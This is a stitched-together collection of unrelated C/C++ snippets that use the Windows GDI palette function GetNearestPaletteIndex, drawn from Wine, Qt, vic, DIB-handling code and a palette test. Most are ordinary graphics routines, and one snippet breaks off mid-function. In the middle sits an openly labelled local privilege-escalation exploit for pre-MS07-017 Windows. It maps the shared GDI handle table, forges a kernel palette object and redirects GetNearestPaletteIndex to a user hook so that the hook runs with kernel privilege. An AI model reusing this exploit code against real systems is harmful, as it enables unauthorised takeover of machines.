/* null driver fallback implementation for GetNearestColor */ COLORREF nulldrv_GetNearestColor( PHYSDEV dev, COLORREF color ) { unsigned char spec_type; if (!(GetDeviceCaps( dev->hdc, RASTERCAPS ) & RC_PALETTE)) return color; spec_type = color >> 24; if (spec_type == 1 || spec_type == 2) { /* we need logical palette for PALETTERGB and PALETTEINDEX colorrefs */ UINT index; PALETTEENTRY entry; HPALETTE hpal = GetCurrentObject( dev->hdc, OBJ_PAL ); if (!hpal) hpal = GetStockObject( DEFAULT_PALETTE ); if (spec_type == 2) /* PALETTERGB */ index = GetNearestPaletteIndex( hpal, color ); else /* PALETTEINDEX */ index = LOWORD(color); if (!GetPaletteEntries( hpal, index, 1, &entry )) { WARN("RGB(%x) : idx %d is out of bounds, assuming NULL\n", color, index ); if (!GetPaletteEntries( hpal, 0, 1, &entry )) return CLR_INVALID; } color = RGB( entry.peRed, entry.peGreen, entry.peBlue ); } return color & 0x00ffffff; }
int MDIORGB_GetMatchingColourInPalette (MIOWinInfoPtr pmInfo, OOTreal pmRed, OOTreal pmGreen, OOTreal pmBlue) { int myRed, myBlue, myGreen; COLORREF myColour; PALETTEENTRY myPaletteEntry; int myClosestColour; myRed = (int) (pmRed * 255 + 0.5); myGreen = (int) (pmGreen * 255 + 0.5); myBlue = (int) (pmBlue * 255 + 0.5); myColour = RGB (myRed, myGreen, myBlue); myClosestColour = GetNearestPaletteIndex (pmInfo -> palette, myColour); if (GetPaletteEntries (pmInfo -> palette, myClosestColour, 1, &myPaletteEntry) == 0) { return -1; } if ((myRed == myPaletteEntry.peRed) && (myGreen == myPaletteEntry.peGreen) && (myBlue == myPaletteEntry.peBlue)) { return myClosestColour; } return -1; } // MDIORGB_GetNearestColourInPalette
// Done by MAKEPAL which generates the pal.c sourcefile. void CalcBlendBiXlat(HPALETTE hPalette, bixlat* pBiXlat, int partsFirst, int partsSecond) { int i, j; PALETTEENTRY pe; if (!hPalette || !pBiXlat || partsFirst <= 0 || partsSecond <= 0) return; for (i = 0; i < NUM_COLORS; i++) { PALETTEENTRY pe1; GetPaletteEntries(hPalette, i, 1, &pe1); for (j = 0; j < NUM_COLORS; j++) { PALETTEENTRY pe2, pe; LONG l; GetPaletteEntries(hPalette, j, 1, &pe2); l = (((LONG)pe1.peRed)*partsFirst + ((LONG)pe2.peRed)*partsSecond) / (partsFirst+partsSecond); pe.peRed = (BYTE)(l & 0xFF); l = (((LONG)pe1.peGreen)*partsFirst + ((LONG)pe2.peGreen)*partsSecond) / (partsFirst+partsSecond); pe.peGreen = (BYTE)(l & 0xFF); l = (((LONG)pe1.peBlue)*partsFirst + ((LONG)pe2.peBlue)*partsSecond) / (partsFirst+partsSecond); pe.peBlue = (BYTE)(l & 0xFF); pBiXlat->entry[(i<<8)|(j)] = GetNearestPaletteIndex(hPalette, RGB(pe.peRed, pe.peGreen, pe.peBlue)); } } }
int MDIORGB_GetNearestColourInPalette (MIOWinInfoPtr pmInfo, OOTreal pmRed, OOTreal pmGreen, OOTreal pmBlue) { COLORREF myColour = MyGetColourFromOOTRGB (pmRed, pmGreen, pmBlue); return GetNearestPaletteIndex (pmInfo -> palette, myColour); } // MDIORGB_GetNearestColourInPalette
/* CalcBlendXlat: * Given a palette, writes all indices of the xlat. * Each index is the best fit for the blend of a fixed color and the palette * color. For a 20% golden blend, you'd give gold as the color to mix, * and 80 to 20 as the ratio partsFirst to partsSecond. */ void CalcBlendXlat(HPALETTE hPalette, xlat* pXlat, COLORREF crMix, int partsFirst, int partsSecond) { int i; if (!hPalette || !pXlat || partsFirst <= 0 || partsSecond <= 0) return; for (i = 0; i < NUM_COLORS; i++) { PALETTEENTRY pe; LONG l; GetPaletteEntries(hPalette, i, 1, &pe); l = (((LONG)pe.peRed)*partsFirst + (LONG)GetRValue(crMix)*partsSecond) / (partsFirst+partsSecond); pe.peRed = (BYTE)(l & 0xFF); l = (((LONG)pe.peGreen)*partsFirst + (LONG)GetGValue(crMix)*partsSecond) / (partsFirst+partsSecond); pe.peGreen = (BYTE)(l & 0xFF); l = (((LONG)pe.peBlue)*partsFirst + (LONG)GetBValue(crMix)*partsSecond) / (partsFirst+partsSecond); pe.peBlue = (BYTE)(l & 0xFF); pXlat->entry[i] = GetNearestPaletteIndex(hPalette, RGB(pe.peRed, pe.peGreen, pe.peBlue)); } }
/* CalcFilterXlat: * Given a palette, writes all indices of the xlat. * Each index is the best fit for the given color at the original palette * color's lightness. For a golden filter, you'd give gold as the color. */ void CalcFilterXlat(HPALETTE hPalette, xlat* pXlat, COLORREF crMix) { int i; PALETTEENTRY pe; /* i want to be able to see it always in this function */ if (!hPalette || !pXlat) return; for (i = 0; i < NUM_COLORS; i++) { BYTE byLightness; LONG l; GetPaletteEntries(hPalette, i, 1, &pe); byLightness = GetRGBLightness(&pe); l = ((LONG)GetRValue(crMix))*((LONG)byLightness)/256; pe.peRed = (BYTE)(l & 0xFF); l = ((LONG)GetGValue(crMix))*((LONG)byLightness)/256; pe.peGreen = (BYTE)(l & 0xFF); l = ((LONG)GetBValue(crMix))*((LONG)byLightness)/256; pe.peBlue = (BYTE)(l & 0xFF); pXlat->entry[i] = GetNearestPaletteIndex(hPalette, RGB(pe.peRed, pe.peGreen, pe.peBlue)); } }
int MDIORGB_WhatDotColor (MIOWinInfoPtr pmInfo, int pmX, int pmY) { COLORREF myColour = GetPixel ((HDC) pmInfo -> offscreenDeviceContext, pmX, pmY); return GetNearestPaletteIndex (pmInfo -> palette, myColour); } // MDIORGB_WhatDotColor
uint QColormap::pixel(const QColor &color) const { const QColor c = color.toRgb(); COLORREF rgb = RGB(c.red(), c.green(), c.blue()); if (d->hpal) return PALETTEINDEX(GetNearestPaletteIndex(d->hpal, rgb)); return rgb; }
// Map the colors of the DIB (using GetNearestPaletteIndex) to a palette //************************************************************************ void CDib::MapToPalette( HPALETTE hpal ) //************************************************************************ { int n, nDibColors; LPBYTE lpBits; LPRGBQUAD lpRgb; BYTE xlat[256]; DWORD SizeImage; BOOL bChanged; if ( !hpal ) return; if ( m_bmiHeader.biBitCount != 8 ) return; if ( GetColorTableType() == DIB_PAL_COLORS ) return; // build a xlat table. from the current DIB colors to the given palette nDibColors = GetNumColors(); lpRgb = GetColors(); bChanged = NO; for ( n=0; n<nDibColors; n++ ) { xlat[n] = (BYTE)GetNearestPaletteIndex( hpal, RGB(lpRgb->rgbRed, lpRgb->rgbGreen, lpRgb->rgbBlue) ); if ( xlat[n] != n ) bChanged = YES; lpRgb++; } if ( !bChanged ) { // Now reset the DIB color table to match the palette SetColorTable( hpal, DIB_RGB_COLORS ); return; } // translate the DIB bits lpBits = (LPBYTE)GetPtr(); SizeImage = GetSizeImage(); switch (m_bmiHeader.biCompression) { case BI_RLE8: xlatRle8(lpBits, SizeImage, xlat); break; case BI_RGB: xlatClut8(lpBits, SizeImage, xlat); break; } // Now reset the DIB color table to match the palette SetColorTable( hpal, DIB_RGB_COLORS ); }
/*********************************************************************** * GetNearestColor [GDI32.@] * * Gets a system color to match. * * RETURNS * Success: Color from system palette that corresponds to given color * Failure: CLR_INVALID */ COLORREF WINAPI GetNearestColor( HDC hdc, /* [in] Handle of device context */ COLORREF color) /* [in] Color to be matched */ { unsigned char spec_type; COLORREF nearest; DC *dc; if (!(dc = get_dc_ptr( hdc ))) return CLR_INVALID; if (dc->funcs->pGetNearestColor) { nearest = dc->funcs->pGetNearestColor( dc->physDev, color ); release_dc_ptr( dc ); return nearest; } if (!(GetDeviceCaps(hdc, RASTERCAPS) & RC_PALETTE)) { release_dc_ptr( dc ); return color; } spec_type = color >> 24; if (spec_type == 1 || spec_type == 2) { /* we need logical palette for PALETTERGB and PALETTEINDEX colorrefs */ UINT index; PALETTEENTRY entry; HPALETTE hpal = dc->hPalette ? dc->hPalette : GetStockObject( DEFAULT_PALETTE ); if (spec_type == 2) /* PALETTERGB */ index = GetNearestPaletteIndex( hpal, color ); else /* PALETTEINDEX */ index = LOWORD(color); if (!GetPaletteEntries( hpal, index, 1, &entry )) { WARN("RGB(%x) : idx %d is out of bounds, assuming NULL\n", color, index ); if (!GetPaletteEntries( hpal, 0, 1, &entry )) { release_dc_ptr( dc ); return CLR_INVALID; } } color = RGB( entry.peRed, entry.peGreen, entry.peBlue ); } nearest = color & 0x00ffffff; release_dc_ptr( dc ); TRACE("(%06x): returning %06x\n", color, nearest ); return nearest; }
VOID vTestPal1(void) { HPALETTE hpal1; UINT uiTemp; hpal1 = CreatePalette((LPLOGPALETTE) &logpalVGA); if (hpal1 == (HPALETTE) 0) { DbgPrint("vTestPal1 failed to create palette\n"); return; } AnimatePalette(hpal1, 0, 100, NULL); SetPaletteEntries(hpal1, 0, 100, NULL); uiTemp = GetNearestPaletteIndex(hpal1, 0); if (uiTemp != 0) DbgPrint("GetNearestPaletteIndex failed 0 %lx\n", uiTemp); uiTemp = GetNearestPaletteIndex(hpal1, 0x00000080); if (uiTemp != 1) DbgPrint("GetNearestPaletteIndex failed 1 %lx\n", uiTemp); uiTemp = GetNearestPaletteIndex(hpal1, 0x00C0C0C0); if (uiTemp != 7) DbgPrint("GetNearestPaletteIndex failed 7 %lx\n", uiTemp); uiTemp = GetNearestPaletteIndex(hpal1, 0x0000FF00); if (uiTemp != 10) DbgPrint("GetNearestPaletteIndex failed 10 %lx\n", uiTemp); uiTemp = GetNearestPaletteIndex(hpal1, 0x00FFFFFF); if (uiTemp != 15) DbgPrint("GetNearestPaletteIndex failed 15 %lx\n", uiTemp); uiTemp = GetNearestPaletteIndex(hpal1, PALETTEINDEX(5)); if (uiTemp != 5) DbgPrint("GetNearestPaletteIndex failed 15 %lx\n", uiTemp); uiTemp = GetNearestPaletteIndex(hpal1, PALETTEINDEX(10)); if (uiTemp != 10) DbgPrint("GetNearestPaletteIndex failed 15 %lx\n", uiTemp); if (!DeleteObject(hpal1)) DbgPrint("vTestPal1 failed to delete palette\n"); }
int CVisWindow::ColorRGB2I(float *Color) { DWORD r = RGB((BYTE)(Color[0]*255),(BYTE)(Color[1]*255),(BYTE)(Color[2]*255)); int i = GetNearestPaletteIndex( hPal,r ); return i; // return GetNearestPaletteIndex( hPal, // RGB((BYTE)(Color[0]*255),(BYTE)(Color[1]*255),(BYTE)(Color[2]*255)) ); /* int j,c,i,base; base=1; for(i=j=0; j<3; j++){ if(Color[j]<0) Color[j]=0; else if(Color[j]>1) Color[j]=1; c = (int)( Color[j]*(IBASE-1) + .5 ); i += c*base; base *= IBASE; } return i; */ }
int ColorModel::alloc_color(color& c) { #ifdef MAC_OSX_TK abort(); #else int r = c.r; int g = c.g; int b = c.b; if (gamma_ != 1.) { r = int(256. * pow(r / 256., gamma_)); g = int(256. * pow(g / 256., gamma_)); b = int(256. * pow(b / 256., gamma_)); } #ifndef WIN32 if (r == g && r == b && (r & 7) == 0 && r > 0) { /* * This color is one level away from the gray ramp * used in nv, ghostscript, and the LBL-modified * tk library. Change it so we'll end up sharing * the colormap entry. The error won't be perceptible. */ r -= 1; g -= 1; b -= 1; } #endif XColor xc; xc.red = r << 8; xc.green = g << 8; xc.blue = b << 8; if (XAllocColor(dpy_, colormap_, &xc) == 0) { free_colors(); return (-1); } #ifdef WIN32 /* * The current WinTk returns RGB values in the pixel. X returns * a colormap index. So get the palette index and use that. */ TkWinColormap *cmap = (TkWinColormap *) colormap_; UINT index = GetNearestPaletteIndex(cmap->palette, PALETTERGB(r, g, b)); int pixel = index; pixel_[index] = xc.pixel; color& p = colors_[ncolor_]; if (++ncolor_ >= 256) { fprintf(stderr, "vic: colormap overflow (internal error)\n"); exit(1); } #if defined(WIN32) && (TCL_MAJOR_VERSION == 8) && (TCL_MINOR_VERSION == 0) if (!win32Colors) win32Colors = pixel_; win32NColors = ncolor_; #endif #else int pixel = xc.pixel; pixel_[ncolor_] = pixel; if (++ncolor_ >= 256) { fprintf(stderr, "vic: colormap overflow (internal error)\n"); exit(1); } color& p = colors_[pixel]; #endif p.r = xc.red >> 8; p.g = xc.green >> 8; p.b = xc.blue >> 8; /* XXX ed ditherer needs this */ rgb_to_yuv(p); return (pixel); #endif // MAC_OSX_TK }
int main(int argc, char *argv[]) { SECTION_BASIC_INFORMATION SectionInfo; PGDI_TABLE_ENTRY pGdiEntry; PLOGPALETTE pLogPal; HANDLE hPal; PVOID OriginalPalObject; PVOID FalsePalObject; HANDLE hThread = GetCurrentThread(); DWORD OriginalThreadPriotity = GetThreadPriority (hThread); HANDLE hSection = (ULONG)0; PVOID MapFile = 0; HANDLE hProcess = (HANDLE)0xFFFFFFFF; WORD Pid = GetCurrentProcessId(); NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtQuerySection"); printf ("##########################################################\n"); printf ("# GDI Local Elevation of Privilege Vulnerability Exploit #\n"); printf ("# All Windows 2000/XP before MS07-017 patch #\n"); printf ("##########################################################\n"); printf ("# coded by Lionel d'Hauenens http://www.labo-asso.com #\n"); printf ("##########################################################\n\n"); // Search handle section and mapper in virtual memory of user while ((DWORD)hSection<0xFFFF) { SectionInfo.Attributes = 0; MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0); if (MapFile) { NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0); if (SectionInfo.Attributes == SEC_COMMIT) break; // For compatibility with win2k UnmapViewOfFile(MapFile); MapFile = 0; } hSection++; } if (!MapFile) { printf ("Could not found shared section !\n"); exit(0); } // Create Palette pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1); pLogPal->palNumEntries = 1; pLogPal->palVersion = 0x300; hPal = (HANDLE)CreatePalette(pLogPal); if (!hPal) { printf ("Could not create palette !\n"); exit(0); } // Search the entry of pal object OriginalPalObject = (PVOID)0; pGdiEntry = (PGDI_TABLE_ENTRY)MapFile; while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart) { if ( pGdiEntry->ProcessID == Pid && pGdiEntry->nType == PAL_TYPE ) { // Save original pointer OriginalPalObject = (PVOID)pGdiEntry->pKernelInfo; break; } pGdiEntry++; } if (!OriginalPalObject) { printf ("Could not find entry of Pal object !\n"); exit(0); } // Create the false Pal object FalsePalObject = (PVOID) calloc(0x100/4,4); ((PDWORD)FalsePalObject)[0] = (DWORD)hPal; // Handle ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1; // Availabled flag ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex printf ("Section:\n--------\n"); printf ("Handle: 0x%08X Attributes: %08X Size: 0x%08X\n\n", hSection , SectionInfo.Attributes , SectionInfo.Size.QuadPart); printf ("Pointer of original pal object: 0x%08X\n", OriginalPalObject); printf ("Address of user map: 0x%08X\n", MapFile); printf ("Pointer of false pal object: 0x%08X\n", FalsePalObject); printf ("Entry of GDI palette in user view: 0x%08X\n", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) ); printf ("Address of Hook(): 0x%08X\n\n", &hook); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// printf ("->Test..."); flag_test = 0; SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST); // Active false Pal object pGdiEntry->pKernelInfo = FalsePalObject; GetNearestPaletteIndex (hPal, 0); //--> call hook() with kernel privilege :); // Restore original Pal object pGdiEntry->pKernelInfo = OriginalPalObject; SetThreadPriority (hThread,OriginalThreadPriotity); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// if (!flag_test) printf ("ERROR !!!\n"); else printf ("OK :)\n"); UnmapViewOfFile(MapFile); DeleteObject ((HANDLE)hPal); free((PVOID)pLogPal); free((PVOID)FalsePalObject); system("PAUSE"); return (0); }
// Note we only support 8bpp DIBs here, and.. // there is no regard for color table matching between the DIBs //************************************************************************ void CDib::DibBlt(PDIB pdibDst, int dstLeft, int dstTop, int dstWidth, int dstHeight, int srcLeft, int srcTop, int srcWidth, int srcHeight, BOOL bTransparent, LPRGBTRIPLE lpRGB, LPTR lpLut, HPALETTE hPal ) //************************************************************************ { HPTR pSrc, pDst; int iScanS, iScanD, iOverrun; if ( !pdibDst ) return; if ( GetBitCount() != 8 ) return; if ( pdibDst->GetBitCount() != 8 ) return; // Check the coordinate bounds, to avoid an out of range pointer if ( srcLeft < 0 ) { dstLeft -= srcLeft; srcWidth += srcLeft; dstWidth += srcLeft; srcLeft = 0; } if ( srcTop < 0 ) { dstTop -= srcTop; srcHeight += srcTop; dstHeight += srcTop; srcTop = 0; } if ( dstLeft < 0 ) { srcLeft -= dstLeft; srcWidth += dstLeft; dstWidth += dstLeft; dstLeft = 0; } if ( dstTop < 0 ) { srcTop -= dstTop; srcHeight += dstTop; dstHeight += dstTop; dstTop = 0; } if ( srcWidth <= 0 || srcHeight <= 0 || dstWidth <= 0 || dstHeight <= 0 ) return; if ( srcLeft - GetWidth() >= 0 ) return; if ( srcTop - abs(GetHeight()) >= 0 ) return; if ( dstLeft - pdibDst->GetWidth() >= 0 ) return; if ( dstTop - abs(pdibDst->GetHeight()) >= 0 ) return; if ( (iOverrun = srcLeft + srcWidth - GetWidth()) > 0 ) { srcWidth -= iOverrun; dstWidth -= iOverrun; } if ( (iOverrun = srcTop + srcHeight - abs(GetHeight())) > 0 ) { srcHeight -= iOverrun; dstHeight -= iOverrun; } if ( (iOverrun = dstLeft + dstWidth - pdibDst->GetWidth()) > 0 ) { dstWidth -= iOverrun; srcWidth -= iOverrun; } if ( (iOverrun = dstTop + dstHeight - abs(pdibDst->GetHeight())) > 0 ) { dstHeight -= iOverrun; srcHeight -= iOverrun; } if ( srcWidth <= 0 || srcHeight <= 0 || dstWidth <= 0 || dstHeight <= 0 ) return; // Get pointers to the start points in the source and destination if ( !(pSrc = GetXY( srcLeft, srcTop )) ) return; if ( !(pDst = pdibDst->GetXY( dstLeft, dstTop )) ) return; // Get the scan line widths of each DIB. iScanS = GetWidthBytes(); iScanD = pdibDst->GetWidthBytes(); // Upside down DIBs have to move backwards if ( GetHeight() > 0 ) iScanS = -iScanS; if ( pdibDst->GetHeight() > 0 ) iScanD = -iScanD; if ( !bTransparent ) { // Copy the lines. while ( --srcHeight >= 0 ) { hmemcpy( pDst, pSrc, srcWidth ); pSrc += iScanS; pDst += iScanD; } } else if (lpRGB) { // Copy lines with transparency mask WORD src, dst, wMini; BYTE dstPixel, srcColor, red, green, blue; int iSinc, iDinc, iCount; LPRGBQUAD pTable = GetColors(); if (lpLut) { wMini = RGB3toMiniRGB(lpRGB->rgbtRed, lpRGB->rgbtGreen, lpRGB->rgbtBlue); srcColor = lpLut[wMini]; } else if (hPal) { srcColor = (BYTE)GetNearestPaletteIndex( hPal, RGB(lpRGB->rgbtRed, lpRGB->rgbtGreen, lpRGB->rgbtBlue) ); } else srcColor = 0; iSinc = iScanS - srcWidth; // Source increment value iDinc = iScanD - srcWidth; // Destination increment value while ( --srcHeight >= 0 ) { iCount = srcWidth; // Number of pixels to scan. while ( --iCount >= 0 ) { src = (WORD)(*pSrc++); // Copy pixel only if it isn't transparent. if (src == 0) pDst++; else if (src == 255) *pDst++ = srcColor; else { if (src > 127) ++src; dst = 256-src; dstPixel = *pDst; red = (BYTE)((((WORD)lpRGB->rgbtRed * src) + ((WORD)pTable[dstPixel].rgbRed * dst)) >> 8); green = (BYTE)((((WORD)lpRGB->rgbtGreen * src) + ((WORD)pTable[dstPixel].rgbGreen * dst)) >> 8); blue = (BYTE)((((WORD)lpRGB->rgbtBlue * src) + ((WORD)pTable[dstPixel].rgbBlue * dst)) >> 8); if (lpLut) { wMini = RGB3toMiniRGB(red, green, blue); *pDst++ = lpLut[wMini]; } else if (hPal) { *pDst++ = (BYTE)GetNearestPaletteIndex( hPal, RGB(red, green, blue) ); } else { pDst++; } } } pSrc += iSinc; pDst += iDinc; } } else { // Copy lines with transparency.
HDIB DibConvert (HDIB hdibSrc, int iBitCountDst) { HDIB hdibDst ; HPALETTE hPalette ; int i, x, y, cx, cy, iBitCountSrc, cColors ; PALETTEENTRY pe ; RGBQUAD rgb ; WORD wNumEntries ; cx = DibWidth (hdibSrc) ; cy = DibHeight (hdibSrc) ; iBitCountSrc = DibBitCount (hdibSrc) ; if (iBitCountSrc == iBitCountDst) return NULL ; // DIB with color table to DIB with larger color table: if ((iBitCountSrc < iBitCountDst) && (iBitCountDst <= 8)) { cColors = DibNumColors (hdibSrc) ; hdibDst = DibCreate (cx, cy, iBitCountDst, cColors) ; for (i = 0 ; i < cColors ; i++) { DibGetColor (hdibSrc, i, &rgb) ; DibSetColor (hdibDst, i, &rgb) ; } for (x = 0 ; x < cx ; x++) for (y = 0 ; y < cy ; y++) { DibSetPixel (hdibDst, x, y, DibGetPixel (hdibSrc, x, y)) ; } } // Any DIB to DIB with no color table else if (iBitCountDst >= 16) { hdibDst = DibCreate (cx, cy, iBitCountDst, 0) ; for (x = 0 ; x < cx ; x++) for (y = 0 ; y < cy ; y++) { DibGetPixelColor (hdibSrc, x, y, &rgb) ; DibSetPixelColor (hdibDst, x, y, &rgb) ; } } // DIB with no color table to 8-bit DIB else if (iBitCountSrc >= 16 && iBitCountDst == 8) { hPalette = DibPalMedianCut (hdibSrc, 6) ; GetObject (hPalette, sizeof (WORD), &wNumEntries) ; hdibDst = DibCreate (cx, cy, 8, wNumEntries) ; for (i = 0 ; i < (int) wNumEntries ; i++) { GetPaletteEntries (hPalette, i, 1, &pe) ; rgb.rgbRed = pe.peRed ; rgb.rgbGreen = pe.peGreen ; rgb.rgbBlue = pe.peBlue ; rgb.rgbReserved = 0 ; DibSetColor (hdibDst, i, &rgb) ; } for (x = 0 ; x < cx ; x++) for (y = 0 ; y < cy ; y++) { DibGetPixelColor (hdibSrc, x, y, &rgb) ; DibSetPixel (hdibDst, x, y, GetNearestPaletteIndex (hPalette, RGB (rgb.rgbRed, rgb.rgbGreen, rgb.rgbBlue))) ; } DeleteObject (hPalette) ; } // Any DIB to monochrome DIB else if (iBitCountDst == 1) { hdibDst = DibCreate (cx, cy, 1, 0) ; hPalette = DibPalUniformGrays (2) ; for (i = 0 ; i < 2 ; i++) { GetPaletteEntries (hPalette, i, 1, &pe) ; rgb.rgbRed = pe.peRed ; rgb.rgbGreen = pe.peGreen ; rgb.rgbBlue = pe.peBlue ; rgb.rgbReserved = 0 ; DibSetColor (hdibDst, i, &rgb) ; } for (x = 0 ; x < cx ; x++) for (y = 0 ; y < cy ; y++) { DibGetPixelColor (hdibSrc, x, y, &rgb) ; DibSetPixel (hdibDst, x, y, GetNearestPaletteIndex (hPalette, RGB (rgb.rgbRed, rgb.rgbGreen, rgb.rgbBlue))) ; } DeleteObject (hPalette) ; } // All non-monochrome DIBs to 4-bit DIB else if (iBitCountSrc >= 8 && iBitCountDst == 4) { hdibDst = DibCreate (cx, cy, 4, 0) ; hPalette = DibPalVga () ; for (i = 0 ; i < 16 ; i++) { GetPaletteEntries (hPalette, i, 1, &pe) ; rgb.rgbRed = pe.peRed ; rgb.rgbGreen = pe.peGreen ; rgb.rgbBlue = pe.peBlue ; rgb.rgbReserved = 0 ; DibSetColor (hdibDst, i, &rgb) ; } for (x = 0 ; x < cx ; x++) for (y = 0 ; y < cy ; y++) { DibGetPixelColor (hdibSrc, x, y, &rgb) ; DibSetPixel (hdibDst, x, y, GetNearestPaletteIndex (hPalette, RGB (rgb.rgbRed, rgb.rgbGreen, rgb.rgbBlue))) ; } DeleteObject (hPalette) ; } // Should not be necessary else hdibDst = NULL ; return hdibDst ; }
HIMAGELIST SdkCreateGrayImageList( IN HIMAGELIST himlNormal ) { int Count, i; int Width, Height; HIMAGELIST himlGray; HDC hdcDesktop; HDC hdcMem; RECT rc; COLORREF crMask; HPALETTE hpal; UINT index; HGDIOBJ hbm; HGDIOBJ hbmOld; COLORREF rgb; BYTE gray; HWND hWnd; int x, y; Count = ImageList_GetImageCount(himlNormal); if (Count == 0) { return NULL; } ImageList_GetIconSize(himlNormal, &Width, &Height); himlGray = ImageList_Create(Width, Height, ILC_COLOR24 | ILC_MASK, Count, 0); hdcDesktop = GetDC(NULL); hdcMem = CreateCompatibleDC(NULL); rc.top = rc.left = 0; rc.bottom = Height; rc.right = Width; crMask = RGB(200, 199, 200); if (GetDeviceCaps(hdcDesktop, BITSPIXEL) < 24) { hpal = (HPALETTE)GetCurrentObject(hdcDesktop, OBJ_PAL); index = GetNearestPaletteIndex(hpal, crMask); if (index != CLR_INVALID) { crMask = PALETTEINDEX(index); } } for (i = 0 ; i < Count; ++i) { hbm = CreateCompatibleBitmap(hdcDesktop, Width, Height); hbmOld = SelectObject(hdcMem, hbm); SdkFillSolidRect(hdcMem, crMask, &rc); ImageList_SetBkColor(himlNormal, crMask); ImageList_Draw(himlNormal, i, hdcMem, 0, 0, ILD_NORMAL); for (x = 0 ; x < Width; ++x) { for (y = 0; y < Height; ++y) { rgb = GetPixel(hdcMem, x, y); if (rgb != crMask) { gray = (BYTE) (95 + (GetRValue(rgb) * 3 + GetGValue(rgb) * 6 + GetBValue(rgb)) / 20); SetPixel(hdcMem, x, y, RGB(gray, gray, gray)); } } } hbm = SelectObject(hdcMem, hbmOld); ImageList_AddMasked(himlGray, (HBITMAP)hbm, crMask); DeleteObject(hbm); } DeleteDC(hdcMem); hWnd = WindowFromDC(hdcDesktop); ReleaseDC(hWnd, hdcDesktop); return himlGray; }